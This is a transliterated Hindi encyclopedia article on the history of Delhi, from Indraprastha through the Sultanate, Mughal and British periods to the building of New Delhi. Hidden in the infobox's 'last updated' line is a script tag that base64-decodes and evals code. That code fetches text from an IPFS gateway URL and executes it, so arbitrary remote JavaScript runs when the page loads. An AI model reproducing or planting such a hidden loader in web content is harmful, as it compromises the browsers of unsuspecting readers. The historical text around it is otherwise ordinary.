दिल्ली का इतिहास

dilli vishay soochi

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dilli ka itihas
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vivaran	dilli desh ke uttari madhy bhag mean ganga ki ek pramukh sahayak yamuna nadi ke donoan taraph basi hai. dilli desh ka tisara b da shahar hai. yah ek rashtriy rajadhani kshetr dilli hai.
bhaugolik sthiti	uttar- 28°36′36, poorv- 77°13′48
marg sthiti	dilli, rashtriy rajamarg 2 se vardhaman, varanasi, ilahabad, kanapur aur agara ke raste kolakata se ju di hai. rashtriy rajamarg 8 se soorat, ahamadabad, udayapur, ajamer aur jayapur ke raste muanbee se ju di hai. rashtriy rajamarg 1 se jalandhar, ludhiyana aur aanbala hote hue amritasar aur rashtriy rajamarg 24 se ramapur aur muradabad ke raste lakhanoo se ju di hai.
havaee adda	iandira gaandhi aantarrashtriy havaee adda
relave steshan	purani dilli, nee dilli, hazarat nizamuddin
bas adda	aee. es. bi. ti, saray kale khaan, anand vihar
yatayat	saeekil riksha, aauto riksha, taiksi, lokal rel, metro rel, bas
kya dekhean	dilli paryatan
kahaan thaharean	hotal, dharmashala, atithi grah
kya khayean	panjabi khana, chat, dilh‍li ki parathean vali gali ke 'parathe'
es.ti.di. kod	011
savadhani	atankavadi gatividhiyoan se savadhan, lavaris vastuoan ko na chhuean, shit rritu mean kohare se aur grishm rritu mean loo se bachav karean.
chitr:Map-icon.gif	googal manachitr, iandira gaandhi aantarrashtriy havaee adda
sanbandhit lekh	lal qila, indiya get, jama masjid, rashtrapati bhavan .
bahari k diyaan	adhikarik vebasait
adyatan‎	16:18, 22 disambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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dilli ki sansar ke prachin nagaroan mean ganana ki jati hai. mahabharat ke anusar dilli ko pahali bar paandavoan ne iandraprasth nam se basaya tha kiantu adhunik viddanoan ka mat hai ki dilli ke asapas udaharanarth rop d (panjab) ke nikat siandhu ghati sabhyata ke chihn prapt hue haian aur purane qile ke nimnatam khandaharoan mean adim dilli ke avashesh milean to koee ashchary nahian vastav mean desh mean apani madhyavarti sthiti ke karan tatha uttarapashchim se bharat ke chaturdik bhagoan ko jane vale margoan ke keandr par basi hone se dilli bharatiy itihas mean anek samrajyoan ki rajadhani rahi hai. [[chitr:Humayun's-Tomb-Delhi.jpg|thumb|300px|left|humayooan ka maqabara, dilli]]

pauranik ullekh

jatakoan ke anusar iandraprasth sat kos ke ghere mean basa hua tha. paandavoan ke vanshajoan ki rajadhani iandraprasth mean kab tak rahi yah nishchayapoorvak nahian kaha ja sakata kiantu puranoan ke sakshy ke anusar parikshit tatha janamejay ke uttaradhikariyoan ne hastinapur mean bhi bahut samay tak apani rajadhani rakhi thi aur inhian ke vanshaj nichakshu ne hastinapur ke ganga mean bah jane par apani nee rajadhani prayag ke nikat kaushambi mean banaee maury kal mean dilli ya iandraprasth ka koee vishesh mahattv n tha kyoanki rajanitik shakti ka keandr is samay magadh mean tha. bauddh dharm ka janm tatha vikas bhi uttari bharat ke isi bhag tatha pashrarvavarti pradesh mean hua isi karan bauddh dharm ki pratishtha badhane ke sath hi bharat ki rajanitik satta bhi isi bhag (poorvi uttar pradesh tatha bihar) mean keandrit rahi.

aitihasik ullekh

mauryakal ke pashchath lagabhag 13 sau varsh tak dilli aur usake asapas ka pradesh apekshakrit mahattvahin bana raha. harsh ke samrajy ke chhinn bhinn hone ke pashchath uttaribharat mean anek chhoti moti rajapoot riyasatean ban geean aur inhian mean 12 vian shati mean prithviraj chauhan ki bhi ek riyasat thi jisaki rajadhani dilli bani. dilli ke jis bhag mean qutub minar hai vah athava maharauli ka nikatavarti pradesh hi prithviraj ke samay ki dilli hai. vartaman jogamaya ka mandir mool roop se inhian chauhan naresh ka banavaya hua kaha jata hai. ek prachin janashruti ke anusar chauhanoan ne dilli ko tomaroan se liya tha jaisa ki 1327 ee. ke ek abhilekh se soochit hota hai yah bhi kaha jata hai ki chauthi shati ee. mean anangapal tomar ne dilli ki sthapana ki thi. inhoanne iandraprasth ke qile ke khandaharoan par hi apana qila banavaya.

tomar, chauhan aur gulam vansh

mahakavy-mahabharat kal se hi dilli ka vishesh ullekh raha hai. dilli ka shasan ek vansh se doosare vansh ko hastaantarit hota gaya. ek chauhan rajapoot vishal dev dvara 1153 mean ise jitane ke poorv lal kot par lagabhag ek shatabdi tak tomar rajaoan ka adhipaty raha. vishal dev ke pautr prithviraj tritiy ya ray pithora ne 1164 ee. mean lal kot ke charoan or vishal parakot banakar isaka vistar kiya. yah dilli ka tisara shahar kahalata hai. aur qila ray pithora ke nam se jana gaya. kee itihasakar ise dilli ke sat shaharoan mean pratham manate haian. 1192 ki l daee mean muslim akramanakari muhammad gori ne prithviraj chauhan ko yuddh mean harakar usaki hatya kar di. gori yahaan se daulat lootakar chala gaya aur apane gulam qutubuddin aibak ko yahaan ka upashasak niyukt kar gaya. 1206 mean gori ki mrityu ke bad kutubuddin aibak ne svany ko bharat ka sultan ghoshit kar diya aur lalakot ko apane samrajy ki rajadhani banaya. agali tin shatabdiyoan tak yahaan chhote aantaraloan ke sath gulam vansh aur sultan vansh ka shasan raha. qutubuddin aibak ne lalakot ko ek aur mahattvapoorn smarak qutub minar diya. yah vijay ka smarak tha aur sanbhavat: ek masjid ki minar thi lekin qutubu minar ke vartaman svaroop ka nirman firoj shah ne poora karavaya, jisamean usane sangamaramar ke alankaran ke kam ke sath–sath do aur manzile banavaee jisame usaki ooanchaee 74 mitar ho gee. ek tarah se yah bharat mean sultan vansh ke gauravapoorn v vijayi agaman ka pratik thi.

khilaji shasan

khilaji shasan (1290-1321) ke dauran dilli par mangol luteroan ne akraman kar isake asurakshit upanagaroan ko dhvast kar diya. 1303 mean alauddin ne isake charoan or 1.7 varg kilomitar kshetr mean ek naya vrittakar qilaband shahar banavaya taki mangol pun akraman kar upanagaroan v bagichoan ko dhvast n kar sakean. qutub-lalakot sankul ke viparit jo shahar dehali-e-kuhana (purani dilli) kahalata tha, praranbh mean lashkar ya lashkaragah (sainik chhavani) ke nam se jana gaya. lalakot ke sath ju di is charadivari se ghiri nagari ko bad mean siri nam diya gaya tatha ise khilaji rajadhani (darul khilafa) ke roop mean jana gaya. isaki paridhi ki divar lagabhag 1.5 kilomitar lanbi thi aur usame kee minar v daravaze bane hue the. siri ki ganana amataur par dilli ke doosare shahar ke roop mean hoti hai, kiantu yah muslim vijetaoan dvara bharat mean sthapit pahala poornat: naya shahar tha.

tugalak vansh

is prakar 14 vian shatabdi ki dilli mean qutubu-lalakot sankul sthit dehali-e-kuhana ya purani dilli; gayasapur– kilokh di sthit shahar-e-nu ya naya shahar aur siri sthit darul khilafa ya rajadhani sammilit the. 1321 mean dilli tugalaqoan ke hathoan mean chali gee, kyoanki khilaji vansh ke aantim shasak ki mrityu bina uttaradhikari ke ho gee thi. 11 tugalaq shasakoan ne dilli par shasan kiya lekin vastushilp mean keval tin ne ruchi dikhaee uname se pratyek ne dilli trikon mean sthit vartaman shahari samooh mean ek ne shahar ka rajadhani ke roop mean nirman kiya. yah shahar sultanoan ki sainy prakriti aur suraksha ke prati tugalaqoan ki divanagi ko darshate haian. pahale ek durg tatha bad mean ek shahar ke roop mean vikasit in rajadhaniyoan mean pahala gayasuddin tugalaq dvara nirmit kilaband nagar – durg tugalakabad (1321-25) tha. thumb|left|dilli ka aitihasik manachitr muhammad bin tugalaq (shasanakal 1325-51) ne ek aisi rajadhani ki kalpana ki thi, jo samrajy ki inaki yojana ko pratibianbit kare. yah yojana vistar ki apeksha use sudridh banane ke lie thi. sima par akraman abhi ruke nahian the, isalie unhoanne kutubu dilli, siri tatha tugalaqabad ke charoan or ek raksha divar banaee aur jahaanpanah namak ek naye shahar ka nirman karavaya. apane nirman ke shighr bad hi yah shahar avyavastha ka shikar ho gaya. achanak muhammad tugalaq ne dakkan (dakshin) mean hal hi mean vijit kshetr par nigarani rakhane ke lie apani rajadhani devagiri le jane ka nishchay kiya, jisaka nam unhoanne daulatabad rakha. 1338 mean jahaanpanah ki abadi ko nee rajadhani ke lie kooch karane ke adesh mile. uja d dilli chhote–chhote tuk do mean bant gee aur isake khandahar ne shahar firozabad ke lie eetoan ke bhandar sabit hue. jo tisara aur aantim tugalaq kalin shahar tha. 1354 mean yamuna ke kinare sthapit yah shahar, siri se lagabhag 8 kilomitar poorvottar mean sthit tha. yah shahar yani paanchavian dilli firoz shah, (1351-88) dvara basaee gee aur usi ke nam se jani gee.

14vian-15vian sadi

kaha jata hai ki 14 vian sadi ki dilli mean tugalaqabad sainy pratishthan tha, nizamudin faqiroan ka ilaqa tha aur upanagar hauzakhas vidvanoan ki basti thi. mangol vijay ke bad samarakand aur madhy eshiya ke vishvavidyalayoan se shikshit sharanarthi dilli mean a base. uchch shiksha ke lie hauzakhas ke madarase ki khyati poori saltanat mean phaili huee thi. tugalaqoan ke paravarti saiyad bandhu (1414-1444) aur lodi (1451-1526) shasakoan ne svayan ko firozabad tak simit rakha. unake shasan kal ke dauran lagatar upadrav chalate rahe aur unhean ne shahar basane ka samay nahian mila.

mugal kal

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1526 mean bharat ke pahale mugal shasak babar ka pravesh hua aur usane agara ko apani rajadhani banaya. 1530 mean usaka beta humayooan gaddi par baitha aur 10 sangharshamay varsho tak usane dilli par raj kiya. 1553 mean unhoanne apane shasan ki sthapana ke upalakshy mean ne shahar dinapanah ka nirman kiya isake lie b di savadhani se yamuna ke kinare ek sthan chuna gaya. ab is shahar ka namonishan nahian hai. kyoanki sherashah soori ne ise poori tarah dhvast kar diya tha.

agale do mugal shasakoan akabar aur jahaangir ne agara ko rajadhani banakar bharat par shasan karana pasand kiya lekin dilli ke mahattv ko samajhakar ve bich–bich mean dilli ate rahe. 1636 mean shahajahaan ne abhiyantaoan, vastuvidoan tatha jyotishiyoan ko agara v lahaur ke bich achchhe jalavayu vale sthan ke chayan ka nirdesh diya. yamuna ke pashchimi kinare par purane qile ke uttar mean sultanoan ki hazarat dilli ka chayan kiya gaya. shahajahaan ne yahaan urdoo –e-maula namak ek qile ko keandr mean rakhakar nee rajadhani ka nirman shuroo karavaya. lal qile ke nam se vikhyat yah qila ath varsho mean poorn hua aur 19 aprail 1648 ko shahajahaan ne apani is nee rajadhani shahajahaannabad ke qile mean nadi ke samane vale dvar se pravesh kiya. [[chitr:Qutub-Minar-Delhi.jpg|thumb|qutub minar, dilli
Qutub Minar, Delhi]]

lahaur get shahajahaannabad qile ka bhavy praveshadvar hai. yahaan se shahar ki pramukh s dak shuroo hokar fatehapuri masjid tak jati hai. 36 mitar chau di yah s dak shahar ki mukhy dhuri thi rat ko bich ke jalashay par p dati chandrama ki rupahari roshani ne is sthan ko chaandani chauk nam diya. yah s dak dilli ka samaroh sthal thi. shahajahaan aur aurangazeb yahaan apana shahi juloos nikalate the, nadirashah aur ahamad shah abdali vidrohi ghu dasavar ke roop mean nikale the aur maratha v rohillaoan ne vijay ullas manaya tha.

16vian-17vian sadi

british shasanakal mean jab dilli ko british bharat ki rajadhani banaya gaya, to l aaurd hardiang ka juloos bhi isi marg se nikala tha. jama masjid ka nirman 1644 mean praranbh hua aur nagar prachir ka nirman 1651 se 1658 ke bich hua ye shahar mean banane vale agale mahattvapoorn smarak the. arddhachandrakar akriti ki yah divar 8 mitar ooanchi, 3.5 mitar chau di v 6 kilomitar lanbi thi aur yah lagabhag 6.4 varg kilomitar ke kshetr ko ghere hue thi. is mean sat vishal daravaze the (kashmiri, mori, kabuli, lahauri, ajameri, turkamani aur akabarabadi) nadi ki or ki divar mean bhi tin daravaze (rajaghat, qilaghat aur nigamabodhaghat) the. shahar ke pramukhamarg in dvaroan tak jate the. chhoti paha di par sthit shahajahaannabad ki jama masjid jo badashahi masjid ke nam se bhi jani jati thi. bharat ki sabase b di masjid thi. 1662 mean dilli mean hue ek bhishan agnikaand mean 60 hazar aur 1716 mean bhari varsha ke karan makan dhvast hone se 23 hazar log mare ge the. [[chitr:India-gate.jpg|thumb|left|iandiya get, dilli
India Gate, Delhi]] shahajahaannabad ke nirman ke 10 varsh bad hi shahajahaan ke putr aurangazeb ne shahar par kabza karake use agara ke qile mean nazarabandakar diya aur julaee 1658 mean svayan ko badashah ghoshit kar diya. aurangazeb ko virasat mean ek saghan aur samriddh rajadhani mili thi. lekin dhire-dhire is shahar ki avanati shuroo ho gee, kyoanki isaka naya shasak isake sansthapak ke viparit ekadam bhinn svabhav vala tha. shahajahaan ne kala ko badhava diya aur ziandagi ka lutf uthaya aurangazeb in donoan se door rahata tha. use shahar ko sudanr banane mean n to dilachaspi thi. n hi use isaka avasar mila. vah sthayi roop se shahajahaannabad mean raha hi nahian. usake uttaradhikariyoan ko ek vibhajit aur nirbal rajy shasan karane ko mila. faras ke lutere nadirashah ke jaghany akraman ne is shahar par aantim prahar kiya.

british shasanakal

1803 mean agrez shasakoan ne jab dilli par qabza kiya tab yah vanijy evan vyavasay ka pramukh keandr thi, yadyapi qilaband shahar bhavy kitu jirn-shirn gandi basti mean badal chuka tha. charadivari kshetr mean lagabhag ek lakh tis hazar aur upanagaroan mean lagabhag 20 hazar log rahate the. suraksha aur sthan ki ddashti se british kamaandaroan ne eest iandiya kanpani ke karyalay lal qile ke asapas ke kshetr mean sthapit kie jo ghani abadi vala nahian tha. uttari bhag mean rezideansi banaee gee, jahaan chhavani, astabal, vanaspati kshetr, shastragar aur barud bhandar, sima shulk karyalay ek baiank do aspatal, kuchh bangale tatha ek girajaghar bhi banaya gaya. nee sainy zaruratoan ke hisab se qileband mean kuchh parirvatan kie ge. [[chitr:Lotus-Temple.jpg|thumb|300px|lotas taianpal, dilli
Lotus Temple, Delhi]] qileband shahar se adhik kshetr mean vistrit chhavani ko 1828 mean pashchimottar 'rij' par sthanaantarit kiya gaya. paha di ke ek ooanche sthal par paranparik evan gothik shaili mean vaikalpik rezideansi ka nirman kiya gaya, jisake pashchath aur bhi vishal maitakaf haus banaya gaya usaka svami bad mean rezideant ke sthan par 'ejeant aauf delhi' bana. 1840 ke dashak mean chhavani kshetr ke asapas atmanirbhar aur saanskritik roop se prithakh avasiy upanagar ka vikas hua, jise nagarik kshetr kaha gaya. viliyam frezar tatha charls maitakaf jaise dilli ke praranbhik aangrez shasak yahaan ki samriddh saanskritik virasat se sammohit the mugal rajadarabar ko paranparik samaroh ko manane ki anumati thi tatha badashahoan ke nam par sikke dhale jate the.

bharatiy svatantrata sangram (1857)

1857 ke bharatiy svatantrata sangram ke pashchath sab kuchh yahaan tak ki dilli ke prati british shasan ka ravaiya bhi badal gaya. vidroh ke bad mugal badashah bahadur shah dvitiy ko rangoon (vartaman yaangoon) nirvasit kar diya gaya tatha unake parivarajan ki hatya kar di gee. sena ne rajamahal par qabza karake ise qile mean badal diya. qile ke asapas tatha parakote ke samip sthit 457 mitar kshetr ko sainy kshetr ghoshit kar diya aur isake v jama masjid ke bich ki tamam imaratean girakar maidan bana di geean. kashmiri get se dariyaganj tak ki adhigrahit bhoomi par chhavani ko pun: shahar mean laya gaya. yah kshetr poorv mean charadivari pashchim mean maidan (espalened) v nadi ke kinare tak phaila hai. qileband shahar ke ek tihaee kshetr mean chhavani bas gee. kee yooropiy videshi shahar se bahar sivil laians mean chale ge aur dariyaganj ke nivasi chaandani chauk a ge.

aupaniveshik nagar ke roop mean vikas

jaise hi dilli ke prashasan par british taj ka qabza hua, tin kriyashil ‘ikaiyoan’ mool nagar chhavani tatha amataur par sivil laians kahalane vala nagariy kshetr ke sath isake bhautik svaroop ne paranparik aupaniveshik nagar ka roop le liya. dhire-dhire dilli ka adhunikikaran hone laga. 1867 mean kalakatta se dilli ke lie pahali niyamit rel chali. 1910 tak nagar mean nagariy nikay ke shasan ki sthapana, jal vitaran aur mal nikas pranali, doorabhash aur teligraf lainean tatha bijali ki vyavastha ho gee. chaandani chauk mean viktoriya ghantaghar banaya gaya, yahaan ki nahar pat di gee aur isake oopar vidyut tr aaum marg ka nirman hua.

dilli bani adhikarik rajadhani

1877 mean bharat par briten ke adhipaty ko darshane ke lie british mahanh darabaroan ki shriankhala ke pahale darabar ka ayojan hua. doosara darabar 1903 mean edavard saptam ke rajyarohan ke upalakshy mean ayojit hua. tisara darabar 1911 mean hua, jo dilli ke lie ek mo d sabit hua samaroh ke dauran j aauj vi. ne ghoshana ki ki bharat ki rajadhani kalakatta se pun: dilli laee jaegi. is nirnay ko rajanitik aur prashasakiy, donoan adharoan par sahi thaharaya gaya. janavari 1912 mean rajanitik nirnay ke vyavaharik karyaanvan ke lie tin sadasyiy samiti gathit ki gee. prasiddh vastuvid sar edavin lutiyans isake sadasy the jinhoanne aantat is shahar ko naya svaroop diya. is samiti ne sthal chayan ka kary praranbh kiya. samiti ne fasil ke dakshin mean sthit rayasina paha di chuni jo n to bahut door thi aur n hi bahut pas. [[chitr:Jama-Masjid-Delhi.jpg|thumb|250px|left|jama masjid, dilli
Jama Masjid, Delhi]] disanbar 1912 mean samiti ne dilli shahar ke lie lutiyans ki yojana ko manjoor kar liya is yojana ke anusar, kalakatta ke viparit vaisar aauy haus, sansad bhavan aur sachivalay ko ek jagah banana tha tatha inaka nirman is yojana ke keandr biandu rayasina paha di par nagarakot (ekrop aaulis) mean kiya jana tha.

sansad bhavan ka nirman

hardiang ne ghoshana ki ki nee rajadhani ka vastushilp poorv aur pashchim shaili ka milajula roop hoga. vaisar aauy bhavan se mukhy keandriy marg rajapath (kiangsave) praranbh hota tha. jo 3.2 kilomitar lanba tha aur nadi ki or jata tha. yah marg bich mean uttar– dakshin ki or apekshakrit kam bhavy marg se do bhagoan mean vibhajit hota hai. jo kviansave kahalaya. mukhy marg ki samapti ek vijay– toran, iandiya get par hoti thi. jo pratham vishv yuddh mean shahid hue shooraviroan ki smriti ka soochak tha. jab yah rajanitik sthit spasht ho gee ki satta vaisar aauy se vidhan sabha ko hastaantarit ki jani hai, to lutiyans ke sahayogi sar harabart bekar ko sansad bhavan ki abhikalpana taiyar karane ke nirdesh die ge. bekar ne golakar bhavan ka dijain banaya aur isaka sthan lal qile ke pashchimottar mean purane shahar ki or jane vale marg par niyat kiya gaya. ek any golakar bhavan vanijyik keandr kan aaut ples mean bhi bana, jisaki abhikalpana ianglaid ke bath sthit ek bhavan jaisi hai.

nee rajadhani ka shubharanbh

nee rajadhani ka shubharanbh janavari 1931 mean hua. nee dilli ki s dak yojana jyomitiy sauandaryashastr ki dharana par adharit hai. samagr yojana mean rajapath (kiangsave) ko mukhy adhar manakar banaee gee shatbhujoan ki ek shriankhala aur 96 kilomitar lanbi mukhy s dake haian. ye shatakon tin margoan ke bich sthit the jo gavarnar haus se nikalakar aitihasik jama masjid, iandraprasth aur safadarajag ke maqabare ki or jate the tatha vartaman ko atit se jo date the. shahar ke avasiy dhaanche ki yojana ka udeshy nivas ki suvidha ko vyavasthit karana tha. jagah-jagah bag-bagichoan ka nirman bhi kiya gaya. [[chitr:Gurudwara-Bangla-Sahib-Delhi.jpg|thumb|300px|gurudvara bangala sahib, dilli
Gurudwara Bangla Sahib, Delhi]]

nee aur purani dilli

bharat ke tatkalin vaisar aauy beran charls hardiang chahate the ki purani aur nee dilli ka sanyojan ek ho. unhoanne nirdesh die ki donoan ki yojana ek shahar ke roop mean ho n ki do alag-alag shaharoan ke roop mean kiantu lutiyans apane sankirn shahari sauandaryikaran par jame hue the. unaki virat yojana mean purani dilli mahaj ek mahattvahin dhvast hota shahari kshetr tha aur vah chahate the ki use jyoan ka tyoan chho d diya jae. yah poorvagrah purani dilli ke lie ghatak siddh hua, jisane 1941 aur 1951 ke bich ae lagabhag ek lakh sharanarthiyoan ko nivas pradan karana tha. jahaan nee dilli ke nivasi 6-8 vyakti prati hekteyar ke ghanatv se apane rahan sahan adarsh bana rahe the, vahian purani dilli 336 se 400 vyakti prati hekteyar ke bojh se dabi ja rahi thi.

nee aur purani dilli ke bich yah visangati shuroo se hi yojanakaroan ke lie rukavat sabit huee. pratham nagar yojana mean dilli ko ek gandi basti ke roop mean chitrit kiya gaya aur 1980 ke dashak mean hi jab doosari nagar yojana bani use virasat kshetr ke roop mean kuchh mahattv diya gaya. lutiyans ki dilli ko sadaiv param pavan kshetr samajha gaya aur isaki mool yojana tatha janasankhya mean parirvatan ke sujhavoan ka janata evan yojana donoan ke dvara virodh kiya gaya. 1970 aur 1980 ke dashak mean di.di.e (dilli vikas pradhikaran) ne avas vyavasay par ekadhikar kar liya aur vartaman shahari keandr ke asapas vishal bhavan sankul kh de kar diye ge. uchch ay, madhy ay aur nimn ay varg ke samoohoan ke adhar par avas upalabdh karae ge. jo is ay varg se bahar the, ve anadhikrit bastiyoan ya jhuggi jhop diyoan (gandi bastiyoan) mean ijafa kar rahe haian. jo ab je.je k aauloni jani jati hai. 567 anadhikrit bastiyaan rajanitik dabav mean vaidh ghoshit ki ja chuki haian. dilli ki abadi ke um date sailab ko yamuna ke poorvi tat par basaya gaya hai. jahaan dhire-dhire ek alag hi dilli akar le rahi hai. kee b de bazar avasiy bhavan aur dhanadhy logoan ki kothiyaan shahar ki dakshin, pashchim tatha uttari paridhi mean banaee ja chuki hai.

rajadhani ke sau varsh

[[chitr:Raj-Ghat-Delhi.jpg|thumb|250px|mahatma gaandhi smarak, rajaghat, dilli]] gulami ke daur mean aangrez samrat j aaurj pancham ne 12 disambar, 1911 ko kolakata ke sthan par dilli ko rajadhani banaya. isaki rooparekha aur nirman karyoan ki dekharekh british vastukar edavin lucheans (lutiyan) ne ki thi. ek sau pachas varshoan tak kolakata ke zariye bharat par shasan karane ke bad aangrejoan ne apani samrajy vistar ke maddenajar rajadhani ko uttar bharat sthanaantarit kar dilli ko ne sthan ke roop mean chuna tha tatha yahaan nayi rajadhani banane ka mahatvakaankshi abhiyan shuroo kiya. kiang j aaurj pancham ke rajyarohan ka utsav manane aur unhean bharat ka samrat svikarane ke lie dilli mean ayojit darabar mean british bharat ke shasak, bharatiy rajakumar, samant, sainik aur abhijaty varg ke log b di sankhya mean ekatr hue the. darabar ke aantim charan mean ek acharaj bhari ghoshana ki gee. tatkalin vayasaray l aaurd h aaurdiang ne raja ke rajyarohan ke avasar par pradatt upadhiyoan aur bheantoan ki ghoshana ke bad ek dastavez sauanpa. aangrez raja ne vaktavy padhate hue rajadhani ko kalakatta se dilli sthanaantarit karane, poorv aur pashchim bangal ko dobara ek karane sahit any prashasanik parivartanoan ki ghoshana ki. dilli valoan ke lie yah ek hairataangej phaisala tha, jabaki is ghoshana ne ek hi jhatake mean ek soobe ke shahar ko ek samrajy ki rajadhani mean badal diya, jabaki 1772 se british bharat ki rajadhani kalakatta thi.

ek tarah se nee dilli ka arth bharatiy upamahadvip ke lie ek samrajyavadi rajadhani aur ek sadi ke lie aangrez hukmaranoan ke sapanoan ka sakar hona tha, halaanki isake poora hone mean 20 sal ka v़kt laga. yah bhi tab, jabaki rajadhani ko kalakatta se dilli sthanaantarit karane ke sath hi nee dilli banane ka phaisala liya gaya. is tarah nee rajadhani keval 16 sal ke lie apani bhoomika nibha saki. nee dilli mean nirman kary 1931 mean poora hua, jab sarakar is ne shahar mean sthanaantarit ho gee. 13 pharavari, 1931 ko tatkalin vayasaray l aaurd iravin ne nee dilli ka aupacharik udghatan kiya.

dilli darabar relave

dilli darabar ke maddenazar aangrejoan ne atirikt rel suvidhaean badhane aur nee lainean bichhane ka phaisala kiya gaya. jisake liye sarakar ne dilli darabar relave namak vishesh sangathan ka gathan kiya. march se aprail, 1911 ke bich yatayat samasyaoan ke nidan ke lie chhah baithakean hueean, jinamean dilli mean vibhinn dishaoan se ane vali relaga diyoan ke lie 11 pletapharmoan vala ek mukhy relave steshan, azadapur jankshan tak dilli darabar kshetr mean do atirikt dabal rel lainoan, banbee se agara hote hue dilli tak ek nee lain bichhane jaise mahattvapoorn phaisale kie ge. sainik aur nagarik ko saman pahuanchane ke lie kalakatta se dilli tak pratidin ek malaga di chalaee gee, jo hav da se chalakar dilli ke kiangsave steshan pahuanchati thi. is tarah malaga di qarib 42 ghante mean 900 mil ki doori tay karati thi. navanbar, 1911 mean motar speshal namak paanch vishesh relaga diyaan hav da aur dilli ke bich chalaee geean. desh bhar se 80,000 sainikoan ko dilli lane ke lie vishesh relaga diyaan chalaee geean thi.

yah bhi janean

[[chitr:Map-india-delhi.png|thumb|bharat ke manachitr mean dilli|250px]]

• yadi pratham vishv yuddh n chhi da hota to nee dilli ke nirman mean adhik dhan kharch kiya jata aur yah shahar adhik bhavy banata.
• yamuna nadi purane qile ke sath bahatian aur rajapath se gujarane vale isake gavah banate.
• yadi l aaurd karzan aur unake mitroan ki chalati to nee dilli ko rajadhani banane ka phaisala radd ho jata.
• yadi harabart bekar ne pritoriya ka nirman n kiya hota to lutiyan ko nee dilli pariyojana mean avasar n milata aur n vijay chauk pritoriya ki tarj par taiyar hota.
• yadi lutiyan ki marji chali hoti to rashtrapati bhavan saradar patel marg par malacha pailes ke pas mean bana hota.
• vartaman mean jahaan dilli hai, vahaan pahale kabhi 11 shahar the.
• tomar shasak anangapal ne dilli ki sthapana ki. tomar ne lal kot banavaya, jo bad mean prithviraj chauhan ke pashchath 'qila ray pithora' kahalaya.
• prithviraj chauhan dilli ke aantim doosare hindoo samrat the.
• barahavian sadi mean qutubuddin aibak ne meharauli ke asapas dikh rahi sabhi sanrachanaoan ka nirman karavaya tha.
• 1303 mean siri ka nirman alauddin khilaji ki dekharekh mean hua tha.
• gayasuddin tugalak ne 1321-1325 ke dauran tugalakabad basaya tha. isi tarah jahanapath ka nirman 1325-1351 ki avadhi mean muhammad bin tugalak ne karavaya tha.
• sherashah soori ne apane shasanakal ke dauran kee tarah ke nirman kary karavaye.
• humayooan ne dinapanah banavaya, jabaki sheragadh ka nirman sherashah soori ne karavaya.
• jise aj 'lodi k aaumpleks' kahate haian, use lodi rajaoan ne banavaya tha. dilli saltanat (1451-1526) ne sabhi rajavanshoan ke lie lodi k aaulpleks ki ahamiyat thi.
• mugal badashah shahajahaan ne 1638-1649 ke dauran shahajahaannabad nam se patthar ki divaroan se ghiri ek siti banavayi. pahale isi mean lal qila aur chaandani chauk ate the. shahajahaan ke shasanakal mean yahian mugaloan ki rajadhani hua karati thi. isi kshetr ko aj 'purani dilli' kahate haian, lekin dakshin-pashchim dilli ko aangrezoan ne banavaya aur ise nam diya- lutiyans dilli ya nyoo dilli.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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